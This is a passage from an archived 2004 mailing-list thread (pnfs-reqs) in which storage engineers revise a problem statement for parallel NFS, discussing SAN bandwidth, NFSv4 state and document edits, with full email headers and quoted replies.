storage. At the same time, it provides the benefits that accrue from using file-based storage. The parallelization of the file data can be done in such a way that the bandwidth achievable is robust across a wide variety of workloads. This can be accomplished without a large administrative burden. There is no shortage of applications that stretch standard single end point NFS file servers. NFS is well poised to assist in providing a standards based solution to help these applications that users and sites can deploy confidently. --------------------------------------------------------------------------------------------------------------------------------- Hope this helps a bit. If I missed an area you would like some words on, please let me know, I could probably get to it tonight, I hope. Thanks Gary At 12:50 PM 1/27/2004 -0500, Halevy, Benny wrote: > What you suggest makes sense. I'd move the last sentence of the ""proprietary systems"" > paragraph to the grand finale since it is pretty much repeated in the other paragraph. > > That will make these two paragraphs look like this: > > > Today the file system marketplace offers a number of proprietary systems that provide separated control and data flow. Examples include EMC High Road and IBM TotalStorage SAN FS. The lack of interoperability between these proprietary systems hinders their adoption. An approach that solves the bandwidth problem using NFS is desirable. By standardizing the key architectural features of separated control and data flows, a range of competitive and interoperable implementations can be provided. > > > > Such an approach has additional benefits. Even though NFS is widely used as a network file system protocol, most of the world's data resides in data stores that are not accessible through NFS. Much of this data is stored in Storage Area Networks, accessible by Fibre Channel Protocol, or increasingly, by iSCSI. Storage Area Networks do not have the simple management capability that comes from a file system, which associates data with named objects in a hierarchical namespace. Such capabilities can be provided by NFS, while leveraging the existing SAN data access infrastructure, all within a common architectural framework protecting the industry's large investment both in NFS and in SAN storage infrastructure. > > -----Original Message----- > From: Noveck, Dave [mailto:dnoveck@netapp.com] > Sent: Tuesday, January 27, 2004 10:46 AM > To: pnfs-reqs@yahoogroups.com > Subject: RE: [pnfs-reqs] new version of problem statement > > I just noticed that although Peter incorporated my paragraphs in the Introduction, the two paragraphs that they were intended to replace are still there as well. > > Garth, when you make the next pass, could you delete the fourth and fifth paragraphs of the introduction. > > One other issue is that I still think that the last and penultimate paragraphs of the introduction are better swapped. What do other people think about this? > -----Original Message----- > From: Corbett, Peter > Sent: Tuesday, January 27, 2004 9:16 AM > To: pnfs-reqs@yahoogroups.com > Subject: [pnfs-reqs] new version of problem statement > > Here is a new version of the problem statement. There are still some gaps, especially in the application section. I incorporated the paragraph Dave wrote in the introduction. I made a large number of local changes, and a few broader changes, moving a few paragraphs around, and deleting some repetitive content. I think it is getting better. It is still making the same point over and over again. And it is repeating the same point, making it several times. > > Garth, I didn't add your references. Can you do that? Also, I couldn't track down the spelling of Benny's last name for the Ack section. Garth, you will also need to add your address info. > > I am going to pass the token now, as I don't think I'll have any more time to work on this before I leave on vacation Friday. Please forward comments to the group. > > Thanks, > Peter > > <> > > > Yahoo! Groups Links > > * To visit your group on the web, go to: > * http://groups.yahoo.com/group/pnfs-reqs/ > * > * To unsubscribe from this group, send an email to: > * pnfs-reqs-unsubscribe@yahoogroups.com > * > * Your use of Yahoo! Groups is subject to the Yahoo! Terms of Service. > > Yahoo! Groups Links > o To visit your group on the web, go to: > o http://groups.yahoo.com/group/pnfs-reqs/ > o > o To unsubscribe from this group, send an email to: > o pnfs-reqs-unsubscribe@yahoogroups.com > o > o Your use of Yahoo! Groups is subject to the Yahoo! Terms of Service. > > Yahoo! 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Terms of Service. >From garth@panasas.com Thu Jan 29 06:05:31 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 77144 invoked from network); 29 Jan 2004 14:05:30 -0000 Received: from unknown (66.218.66.167) by m5.grp.scd.yahoo.com with QMQP; 29 Jan 2004 14:05:30 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta6.grp.scd.yahoo.com with SMTP; 29 Jan 2004 14:05:30 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id SVSYMHA4; Thu, 29 Jan 2004 09:03:28 -0500 Mime-Version: 1.0 (Apple Message framework v609) In-Reply-To: <5.2.0.9.2.20040127181650.01609868@cic-mail.lanl.gov> References: <5.2.0.9.2.20040127181650.01609868@cic-mail.lanl.gov> Content-Type: multipart/mixed; boundary=Apple-Mail-3-441032590 Message-Id: Date: Thu, 29 Jan 2004 06:03:16 -0800 To: pnfs-reqs@yahoogroups.com X-Mailer: Apple Mail (2.609) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: Re: [pnfs-reqs] new version of problem statement X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson Here is my Wed pass -- most of the work was in the applications and citations sections, but I also did quite a bit in the introduction and a little bit in other places. Weekly concall is at 11am EST today. garth Attachment (not stored) draft-gibson-prob-st-00.doc Type: application/applefile Attachment (not stored) draft-gibson-prob-st-00.doc Type: application/msword >From Brian.Pawlowski@netapp.com Thu Jan 29 06:27:08 2004 Return-Path: X-Sender: beepy@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 33797 invoked from network); 29 Jan 2004 14:26:58 -0000 Received: from unknown (66.218.66.167) by m20.grp.scd.yahoo.com with QMQP; 29 Jan 2004 14:26:58 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta6.grp.scd.yahoo.com with SMTP; 29 Jan 2004 14:26:55 -0000 Received: from frejya.corp.netapp.com (frejya [10.57.157.119]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i0TEQhKw015463 for ; Thu, 29 Jan 2004 06:26:43 -0800 (PST) Received: from tooting-fe.eng.netapp.com (tooting-fe.eng.netapp.com [10.56.10.118]) by frejya.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i0TEQhDi004514 for ; Thu, 29 Jan 2004 06:26:43 -0800 (PST) Received: (from beepy@localhost) by tooting-fe.eng.netapp.com (8.11.6+Sun/8.11.6) id i0TEQh717920 for pnfs-reqs@yahoogroups.com; Thu, 29 Jan 2004 06:26:43 -0800 (PST) Message-Id: <200401291426.i0TEQh717920@tooting-fe.eng.netapp.com> In-Reply-To: from Garth Gibson at ""Dec 18, 3 05:37:50 pm"" To: pnfs-reqs@yahoogroups.com Date: Thu, 29 Jan 2004 06:26:43 -0800 (PST) X-Mailer: ELM [version 2.4ME++ PL40 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-eGroups-Remote-IP: 198.95.226.53 X-eGroups-From: Brian Pawlowski From: Brian Pawlowski Subject: How am I identified in pnfs-reqs and -ops mail lists? X-Yahoo-Group-Post: member; u=169504717 Can't get into archives - it's getting cranky. My e-mail address is beepy@netapp.com Did you enter me in some other way? beepy >From Brian.Pawlowski@netapp.com Thu Jan 29 06:35:10 2004 Return-Path: X-Sender: beepy@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 52196 invoked from network); 29 Jan 2004 14:35:09 -0000 Received: from unknown (66.218.66.166) by m12.grp.scd.yahoo.com with QMQP; 29 Jan 2004 14:35:09 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta5.grp.scd.yahoo.com with SMTP; 29 Jan 2004 14:35:09 -0000 Received: from hawk.corp.netapp.com (hawk [10.57.156.122]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i0TEVKKw016076 for ; Thu, 29 Jan 2004 06:31:20 -0800 (PST) Received: from tooting-fe.eng.netapp.com (tooting-fe.eng.netapp.com [10.56.10.118]) by hawk.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i0TEVKRh012071 for ; Thu, 29 Jan 2004 06:31:20 -0800 (PST) Received: (from beepy@localhost) by tooting-fe.eng.netapp.com (8.11.6+Sun/8.11.6) id i0TEVJa18450; Thu, 29 Jan 2004 06:31:19 -0800 (PST) Message-Id: <200401291431.i0TEVJa18450@tooting-fe.eng.netapp.com> In-Reply-To: <200401291426.i0TEQh717920@tooting-fe.eng.netapp.com> from Brian Pawlowski at ""Jan 29, 4 06:26:43 am"" To: pnfs-reqs@yahoogroups.com Date: Thu, 29 Jan 2004 06:31:19 -0800 (PST) Cc: pnfs-reqs@yahoogroups.com X-Mailer: ELM [version 2.4ME++ PL40 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-eGroups-Remote-IP: 198.95.226.53 X-eGroups-From: Brian Pawlowski From: Brian Pawlowski Subject: Re: [pnfs-reqs] How am I identified in pnfs-reqs and -ops mail lists? X-Yahoo-Group-Post: member; u=169504717 Great - meant to send that to Garth - sorry:-) > Can't get into archives - it's getting cranky. > > My e-mail address is beepy@netapp.com > > Did you enter me in some other way? > > beepy > > > > > Yahoo! Groups Links > > To visit your group on the web, go to: > http://groups.yahoo.com/group/pnfs-reqs/ > > To unsubscribe from this group, send an email to: > pnfs-reqs-unsubscribe@yahoogroups.com > > Your use of Yahoo! Groups is subject to: > http://docs.yahoo.com/info/terms/ > > >From garth@panasas.com Thu Jan 29 08:16:52 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 80097 invoked from network); 29 Jan 2004 16:16:51 -0000 Received: from unknown (66.218.66.172) by m15.grp.scd.yahoo.com with QMQP; 29 Jan 2004 16:16:51 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta4.grp.scd.yahoo.com with SMTP; 29 Jan 2004 16:16:43 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id SVSYMHPB; Thu, 29 Jan 2004 11:16:06 -0500 In-Reply-To: References: Mime-Version: 1.0 (Apple Message framework v609) Content-Type: multipart/mixed; boundary=Apple-Mail-10-448991504 Message-Id: <6AA27F46-5276-11D8-A5D8-000A95A94F04@panasas.com> Cc: Peter Corbett Date: Thu, 29 Jan 2004 08:15:55 -0800 To: pnfs-reqs@yahoogroups.com X-Mailer: Apple Mail (2.609) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: Re: [pnfs-reqs] new version of problem statement X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson Here is a PDF version. garth On Jan 29, 2004, at 6:03 AM, Garth Gibson wrote: > Here is my Wed pass -- most of the work was in the applications and > citations sections, but I also did quite a bit in the introduction and > a little bit in other places. > > Weekly concall is at 11am EST today. > > garth > > Yahoo! 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Groups is subject to: > http://docs.yahoo.com/info/terms/ > > Attachment (not stored) draft-gibson-prob-st-00..pdf Type: application/pdf >From dhildebz@eecs.umich.edu Sun Feb 01 19:52:38 2004 Return-Path: X-Sender: dhildebz@eecs.umich.edu X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 19117 invoked from network); 2 Feb 2004 03:52:34 -0000 Received: from unknown (66.218.66.217) by m16.grp.scd.yahoo.com with QMQP; 2 Feb 2004 03:52:34 -0000 Received: from unknown (HELO willow.eecs.umich.edu) (141.213.4.14) by mta2.grp.scd.yahoo.com with SMTP; 2 Feb 2004 03:52:34 -0000 Received: from willow.eecs.umich.edu (localhost.eecs.umich.edu [127.0.0.1]) by willow.eecs.umich.edu (8.12.11/8.12.11) with ESMTP id i123qLae013573 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 1 Feb 2004 22:52:22 -0500 Received: from localhost (dhildebz@localhost) by willow.eecs.umich.edu (8.12.11/8.12.11/Submit) with ESMTP id i123qLUu013570; Sun, 1 Feb 2004 22:52:21 -0500 X-Authentication-Warning: willow.eecs.umich.edu: dhildebz owned process doing -bs Date: Sun, 1 Feb 2004 22:52:21 -0500 (EST) To: pnfs-reqs@yahoogroups.com Cc: Peter Corbett In-Reply-To: <6AA27F46-5276-11D8-A5D8-000A95A94F04@panasas.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=iso-8859-1 Content-Transfer-Encoding: QUOTED-PRINTABLE X-eGroups-Remote-IP: 141.213.4.14 From: Dean Hildebrand Subject: Re: [pnfs-reqs] new version of problem statement X-Yahoo-Group-Post: member; u=169352062 X-Yahoo-Profile: seattleplus A couple comments: (1) Page 3, paragraph 2 > Storage Area Networks routinely provide much higher data bandwidths than >do NFS file servers. Unfortunately, the simple array of blocks interface >into Storage Area Networks does not lend itself to sharing data among the >clients in a cluster. NFS file service, with its hierarchical namespace >of separately controlled files, offers simpler and more cost-effective >management. One might conclude that users must chose between high >bandwidth and data sharing. I'm wondering if the concept of 'data sharing' is obvious here. I mean, maybe it should be expanded to make it clear it is talking about file consistency and such. Page 6, 2nd paragraph (Eliminating the bottleneck) There is no mention here of NFSv4 state information. I beleive the fact that NFSv4 state information prevents exporting the same file via multiple NFSv4 servers (as was done in v3) should be mentioned. Dean On Thu, 29 Jan 2004, Garth Gibson wrote: > Here is a PDF version. > garth > > On Jan 29, 2004, at 6:03 AM, Garth Gibson wrote: > > > Here is my Wed pass -- most of the work was in the applications and > > citations sections, but I also did quite a bit in the introduction and > > a little bit in other places. > > > > Weekly concall is at 11am EST today. > > > > garth > > > > Yahoo! Groups Links > > > > To visit your group on the web, go to: > > http://groups.yahoo.com/group/pnfs-reqs/ > > > > To unsubscribe from this group, send an email to: > > pnfs-reqs-unsubscribe@yahoogroups.com > > > > Your use of Yahoo! Groups is subject to: > > http://docs.yahoo.com/info/terms/ > > > > > > > > ________________________________________________________________________________ > Yahoo! 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Terms of Service. > > >From garth@panasas.com Tue Feb 03 08:30:00 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 66954 invoked from network); 3 Feb 2004 16:29:46 -0000 Received: from unknown (66.218.66.172) by m13.grp.scd.yahoo.com with QMQP; 3 Feb 2004 16:29:46 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta4.grp.scd.yahoo.com with SMTP; 3 Feb 2004 16:29:42 -0000 Received: from [172.17.3.217] ([172.17.3.217]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id SVSYM9F5; Tue, 3 Feb 2004 11:29:34 -0500 Mime-Version: 1.0 (Apple Message framework v612) In-Reply-To: References: Content-Type: text/plain; charset=ISO-8859-1; delsp=yes; format=flowed Message-Id: <231E5860-5666-11D8-8D65-000A95A94F04@panasas.com> Content-Transfer-Encoding: quoted-printable Date: Tue, 3 Feb 2004 11:29:28 -0500 To: pnfs-reqs@yahoogroups.com X-Mailer: Apple Mail (2.612) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: Re: [pnfs-reqs] new version of problem statement X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson ADVERTISEMENT Dean, Thanks! I will clarify data sharing in this paragraph. In my experience these two words ""data sharing"" are the most common way the industry distinguishes any file system from a pure logical volume, so I don't think there is much risk of confusion. As to NFSv4 versus NFSv3, exporting a writable filesystem through multiple server addresses is rarely done in v3, though a few vendors do this. Those same vendors, at least, are very likely to export a writable filesystem through v4 over multiple servers, The key thing as I see it is that neither v3 nor v4 clients have a clue how to use more than one server address to spread out their work. I'd be happy to add that v4's additional statefulness adds to the complexity of exporting the same filesystem through multiple servers, though as I just argued, I think it is tangential to the main point. garth On Feb 1, 2004, at 10:52 PM, Dean Hildebrand wrote: > A couple comments: > > (1) > Page 3, paragraph 2 >> Storage Area Networks routinely provide much higher data bandwidths >> than >> do NFS file servers. Unfortunately, the simple array of blocks >> interface >> into Storage Area Networks does not lend itself to sharing data among >> the >> clients in a cluster. NFS file service, with its hierarchical >> namespace >> of separately controlled files, offers simpler and more cost-effective >> management. One might conclude that users must chose between high >> bandwidth and data sharing. > I'm wondering if the concept of 'data sharing' is obvious here. I > mean, > maybe it should be expanded to make it clear it is talking about file > consistency and such. > > Page 6, 2nd paragraph (Eliminating the bottleneck) > There is no mention here of NFSv4 state information. I beleive the > fact > that NFSv4 state information prevents exporting the same file via > multiple > NFSv4 servers (as was done in v3) should be mentioned. > > Dean > > On Thu, 29 Jan 2004, Garth Gibson wrote: > >> Here is a PDF version. >> garth >> >> On Jan 29, 2004, at 6:03 AM, Garth Gibson wrote: >> >>> Here is my Wed pass -- most of the work was in the applications and >>> citations sections, but I also did quite a bit in the introduction >>> and >>> a little bit in other places. >>> >>> Weekly concall is at 11am EST today. >>> >>> garth >>> >>> Yahoo! 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Groups is subject to: > http://docs.yahoo.com/info/terms/ > >From garth@panasas.com Tue Feb 03 08:58:31 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 64240 invoked from network); 3 Feb 2004 16:57:51 -0000 Received: from unknown (66.218.66.166) by m4.grp.scd.yahoo.com with QMQP; 3 Feb 2004 16:57:51 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta5.grp.scd.yahoo.com with SMTP; 3 Feb 2004 16:57:51 -0000 Received: from [172.17.2.81] ([172.17.2.81]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id SVSYM9KV; Tue, 3 Feb 2004 11:57:45 -0500 Mime-Version: 1.0 (Apple Message framework v612) Content-Transfer-Encoding: 7bit Message-Id: <138EA0C4-566A-11D8-8D65-000A95A94F04@panasas.com> Content-Type: text/plain; charset=US-ASCII; format=flowed To: pnfs-reqs@yahoogroups.com Date: Tue, 3 Feb 2004 11:57:40 -0500 X-Mailer: Apple Mail (2.612) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: call today not needed X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson ADVERTISEMENT We had tentatively scheduled a pNFS concall today at 3pm EST if needed. I heard from Spencer this morning and he thought the current draft suited its purpose (still working to talk to Brian). And the only comment on this mailing list was from Dean (thanks Dean!) -- I'll add clarifications for his comments today. garth >From dhildebz@eecs.umich.edu Tue Feb 03 09:51:22 2004 Return-Path: X-Sender: dhildebz@eecs.umich.edu X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 78745 invoked from network); 3 Feb 2004 17:51:22 -0000 Received: from unknown (66.218.66.167) by m6.grp.scd.yahoo.com with QMQP; 3 Feb 2004 17:51:22 -0000 Received: from unknown (HELO willow.eecs.umich.edu) (141.213.4.14) by mta6.grp.scd.yahoo.com with SMTP; 3 Feb 2004 17:51:21 -0000 Received: from willow.eecs.umich.edu (localhost.eecs.umich.edu [127.0.0.1]) by willow.eecs.umich.edu (8.12.11/8.12.11) with ESMTP id i13HnYkG006983 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 12:49:35 -0500 Received: from localhost (dhildebz@localhost) by willow.eecs.umich.edu (8.12.11/8.12.11/Submit) with ESMTP id i13HnYVV006980 for ; Tue, 3 Feb 2004 12:49:34 -0500 X-Authentication-Warning: willow.eecs.umich.edu: dhildebz owned process doing -bs Date: Tue, 3 Feb 2004 12:49:34 -0500 (EST) To: pnfs-reqs@yahoogroups.com In-Reply-To: <231E5860-5666-11D8-8D65-000A95A94F04@panasas.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=iso-8859-1 Content-Transfer-Encoding: QUOTED-PRINTABLE X-eGroups-Remote-IP: 141.213.4.14 From: Dean Hildebrand Subject: Re: [pnfs-reqs] new version of problem statement X-Yahoo-Group-Post: member; u=169352062 X-Yahoo-Profile: seattleplus I think you are right that the problem statement is not directly concerned with the statefulness of NFSv4. Adding something about it, or even adding what you said about spreading the work over the multiple servers might be useful. I also noticed some spelling/double word things that I can send along if useful. Dean On Tue, 3 Feb 2004, Garth Gibson wrote: > Dean, > > Thanks! > > I will clarify data sharing in this paragraph. In my experience these > two words ""data sharing"" are the most common way the industry > distinguishes any file system from a pure logical volume, so I don't > think there is much risk of confusion. > > As to NFSv4 versus NFSv3, exporting a writable filesystem through > multiple server addresses is rarely done in v3, though a few vendors do > this. Those same vendors, at least, are very likely to export a > writable filesystem through v4 over multiple servers, The key thing as > I see it is that neither v3 nor v4 clients have a clue how to use more > than one server address to spread out their work. > > I'd be happy to add that v4's additional statefulness adds to the > complexity of exporting the same filesystem through multiple servers, > though as I just argued, I think it is tangential to the main point. > > garth > > > On Feb 1, 2004, at 10:52 PM, Dean Hildebrand wrote: > > > A couple comments: > > > > (1) > > Page 3, paragraph 2 > >> Storage Area Networks routinely provide much higher data bandwidths > >> than > >> do NFS file servers. Unfortunately, the simple array of blocks > >> interface > >> into Storage Area Networks does not lend itself to sharing data among > >> the > >> clients in a cluster. NFS file service, with its hierarchical > >> namespace > >> of separately controlled files, offers simpler and more cost-effective > >> management. One might conclude that users must chose between high > >> bandwidth and data sharing. > > I'm wondering if the concept of 'data sharing' is obvious here. I > > mean, > > maybe it should be expanded to make it clear it is talking about file > > consistency and such. > > > > Page 6, 2nd paragraph (Eliminating the bottleneck) > > There is no mention here of NFSv4 state information. I beleive the > > fact > > that NFSv4 state information prevents exporting the same file via > > multiple > > NFSv4 servers (as was done in v3) should be mentioned. > > > > Dean > > > > On Thu, 29 Jan 2004, Garth Gibson wrote: > > > >> Here is a PDF version. > >> garth > >> > >> On Jan 29, 2004, at 6:03 AM, Garth Gibson wrote: > >> > >>> Here is my Wed pass -- most of the work was in the applications and > >>> citations sections, but I also did quite a bit in the introduction > >>> and > >>> a little bit in other places. > >>> > >>> Weekly concall is at 11am EST today. > >>> > >>> garth > >>> > >>> Yahoo! Groups Links > >>> > >>> To visit your group on the web, go to: > >>> http://groups.yahoo.com/group/pnfs-reqs/ > >>> > >>> To unsubscribe from this group, send an email to: > >>> pnfs-reqs-unsubscribe@yahoogroups.com > >>> > >>> Your use of Yahoo! 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Terms of Service. > > >From garth@panasas.com Tue Feb 03 10:07:25 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 74656 invoked from network); 3 Feb 2004 18:07:22 -0000 Received: from unknown (66.218.66.166) by m14.grp.scd.yahoo.com with QMQP; 3 Feb 2004 18:07:22 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta5.grp.scd.yahoo.com with SMTP; 3 Feb 2004 18:07:21 -0000 Received: from [172.17.2.81] ([172.17.2.81]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id SVSYM9Y4; Tue, 3 Feb 2004 13:06:33 -0500 Mime-Version: 1.0 (Apple Message framework v612) In-Reply-To: References: Content-Type: text/plain; charset=ISO-8859-1; delsp=yes; format=flowed Message-Id: Content-Transfer-Encoding: quoted-printable Date: Tue, 3 Feb 2004 13:06:27 -0500 To: pnfs-reqs@yahoogroups.com X-Mailer: Apple Mail (2.612) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: Re: [pnfs-reqs] new version of problem statement X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson Please do send me all spelling/grammar corrections. I want to finish this asap :-) garth On Feb 3, 2004, at 12:49 PM, Dean Hildebrand wrote: > I think you are right that the problem statement is not directly > concerned > with the statefulness of NFSv4. Adding something about it, or even > adding > what you said about spreading the work over the multiple servers might > be > useful. > > I also noticed some spelling/double word things that I can send along > if > useful. > Dean > > On Tue, 3 Feb 2004, Garth Gibson wrote: > >> Dean, >> >> Thanks! >> >> I will clarify data sharing in this paragraph. In my experience >> these >> two words ""data sharing"" are the most common way the industry >> distinguishes any file system from a pure logical volume, so I don't >> think there is much risk of confusion. >> >> As to NFSv4 versus NFSv3, exporting a writable filesystem through >> multiple server addresses is rarely done in v3, though a few vendors >> do >> this. Those same vendors, at least, are very likely to export a >> writable filesystem through v4 over multiple servers, The key thing >> as >> I see it is that neither v3 nor v4 clients have a clue how to use >> more >> than one server address to spread out their work. >> >> I'd be happy to add that v4's additional statefulness adds to the >> complexity of exporting the same filesystem through multiple servers, >> though as I just argued, I think it is tangential to the main point. >> >> garth >> >> >> On Feb 1, 2004, at 10:52 PM, Dean Hildebrand wrote: >> >>> A couple comments: >>> >>> (1) >>> Page 3, paragraph 2 >>>> Storage Area Networks routinely provide much higher data bandwidths >>>> than >>>> do NFS file servers. Unfortunately, the simple array of blocks >>>> interface >>>> into Storage Area Networks does not lend itself to sharing data >>>> among >>>> the >>>> clients in a cluster. NFS file service, with its hierarchical >>>> namespace >>>> of separately controlled files, offers simpler and more >>>> cost-effective >>>> management. One might conclude that users must chose between high >>>> bandwidth and data sharing. >>> I'm wondering if the concept of 'data sharing' is obvious here. I >>> mean, >>> maybe it should be expanded to make it clear it is talking about file >>> consistency and such. >>> >>> Page 6, 2nd paragraph (Eliminating the bottleneck) >>> There is no mention here of NFSv4 state information. I beleive the >>> fact >>> that NFSv4 state information prevents exporting the same file via >>> multiple >>> NFSv4 servers (as was done in v3) should be mentioned. >>> >>> Dean >>> >>> On Thu, 29 Jan 2004, Garth Gibson wrote: >>> >>>> Here is a PDF version. >>>> garth >>>> >>>> On Jan 29, 2004, at 6:03 AM, Garth Gibson wrote: >>>> >>>>> Here is my Wed pass -- most of the work was in the applications and >>>>> citations sections, but I also did quite a bit in the introduction >>>>> and >>>>> a little bit in other places. >>>>> >>>>> Weekly concall is at 11am EST today. >>>>> >>>>> garth >>>>> >>>>> Yahoo! Groups Links >>>>> >>>>> To visit your group on the web, go to: >>>>> http://groups.yahoo.com/group/pnfs-reqs/ >>>>> >>>>> To unsubscribe from this group, send an email to: >>>>> pnfs-reqs-unsubscribe@yahoogroups.com >>>>> >>>>> Your use of Yahoo! Groups is subject to: >>>>> http://docs.yahoo.com/info/terms/ >>>>> >>>>> >>>> >>>> >>>> >>>> ____________________________________________________________________ >>>> __ >>>> __________ >>>> Yahoo! Groups Links >>>> * To visit your group on the web, go to: >>>> http://groups.yahoo.com/group/pnfs-reqs/ >>>> >>>> * To unsubscribe from this group, send an email to: >>>> pnfs-reqs-unsubscribe@yahoogroups.com >>>> >>>> * Your use of Yahoo! Groups is subject to the Yahoo! Terms of >>>> Service. >>>> >>>> >>> >>> >>> >>> >>> ------------------------ Yahoo! Groups Sponsor >>> ---------------------~--> >>> Buy Ink Cartridges or Refill Kits for your HP, Epson, Canon or >>> Lexmark >>> Printer at MyInks.com. Free s/h on orders $50 or more to the US & >>> Canada. >>> http://www.c1tracking.com/l.asp?cid=5511 >>> http://us.click.yahoo.com/mOAaAA/3exGAA/qnsNAA/W6uqlB/TM >>> --------------------------------------------------------------------- >>> ~-> >>> >>> Yahoo! Groups Links >>> >>> To visit your group on the web, go to: >>> http://groups.yahoo.com/group/pnfs-reqs/ >>> >>> To unsubscribe from this group, send an email to: >>> pnfs-reqs-unsubscribe@yahoogroups.com >>> >>> Your use of Yahoo! Groups is subject to: >>> http://docs.yahoo.com/info/terms/ >>> >> >> >> ______________________________________________________________________ >> __________ >> Yahoo! Groups Links >> * To visit your group on the web, go to: >> http://groups.yahoo.com/group/pnfs-reqs/ >> >> * To unsubscribe from this group, send an email to: >> pnfs-reqs-unsubscribe@yahoogroups.com >> >> * Your use of Yahoo! Groups is subject to the Yahoo! Terms of >> Service. >> >> > > > > > Yahoo! Groups Links > > To visit your group on the web, go to: > http://groups.yahoo.com/group/pnfs-reqs/ > > To unsubscribe from this group, send an email to: > pnfs-reqs-unsubscribe@yahoogroups.com > > Your use of Yahoo! Groups is subject to: > http://docs.yahoo.com/info/terms/ > >From dhildebz@eecs.umich.edu Tue Feb 03 11:23:37 2004 Return-Path: X-Sender: dhildebz@eecs.umich.edu X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 19030 invoked from network); 3 Feb 2004 19:23:34 -0000 Received: from unknown (66.218.66.172) by m9.grp.scd.yahoo.com with QMQP; 3 Feb 2004 19:23:34 -0000 Received: from unknown (HELO smtp.eecs.umich.edu) (141.213.4.43) by mta4.grp.scd.yahoo.com with SMTP; 3 Feb 2004 19:23:34 -0000 Received: from oemcomputer (dh152.citi.umich.edu [141.211.133.152]) (authenticated bits=0) by smtp.eecs.umich.edu (8.12.11/8.12.11) with ESMTP id i13JNTNm024614 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO) for ; Tue, 3 Feb 2004 14:23:29 -0500 Message-ID: <001401c3ea8a$ec1c7420$9885d38d@oemcomputer> To: References: Date: Tue, 3 Feb 2004 14:21:23 -0500 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=""----=_NextPart_000_0010_01C3EA61.002A3800"" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1158 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Scanned-By: MIMEDefang 2.39 X-eGroups-Remote-IP: 141.213.4.43 From: ""Dean Hildebrand"" Subject: Re: [pnfs-reqs] new version of problem statement X-Yahoo-Group-Post: member; u=169352062 X-Yahoo-Profile: seattleplus Here is a copy of the World doc with changes to spelling, grammar and such. Feel free to use or ignore any changes. If you View->Markup in Word you should be able to see what I did. Dean ----- Original Message ----- From: Garth Gibson To: pnfs-reqs@yahoogroups.com Sent: Tuesday, February 03, 2004 1:06 PM Subject: Re: [pnfs-reqs] new version of problem statement Please do send me all spelling/grammar corrections. I want to finish this asap :-) garth On Feb 3, 2004, at 12:49 PM, Dean Hildebrand wrote: > I think you are right that the problem statement is not directly > concerned > with the statefulness of NFSv4. Adding something about it, or even > adding > what you said about spreading the work over the multiple servers might > be > useful. > > I also noticed some spelling/double word things that I can send along > if > useful. > Dean > > On Tue, 3 Feb 2004, Garth Gibson wrote: > >> Dean, >> >> Thanks! >> >> I will clarify data sharing in this paragraph. In my experience >> these >> two words ""data sharing"" are the most common way the industry >> distinguishes any file system from a pure logical volume, so I don't >> think there is much risk of confusion. >> >> As to NFSv4 versus NFSv3, exporting a writable filesystem through >> multiple server addresses is rarely done in v3, though a few vendors >> do >> this. Those same vendors, at least, are very 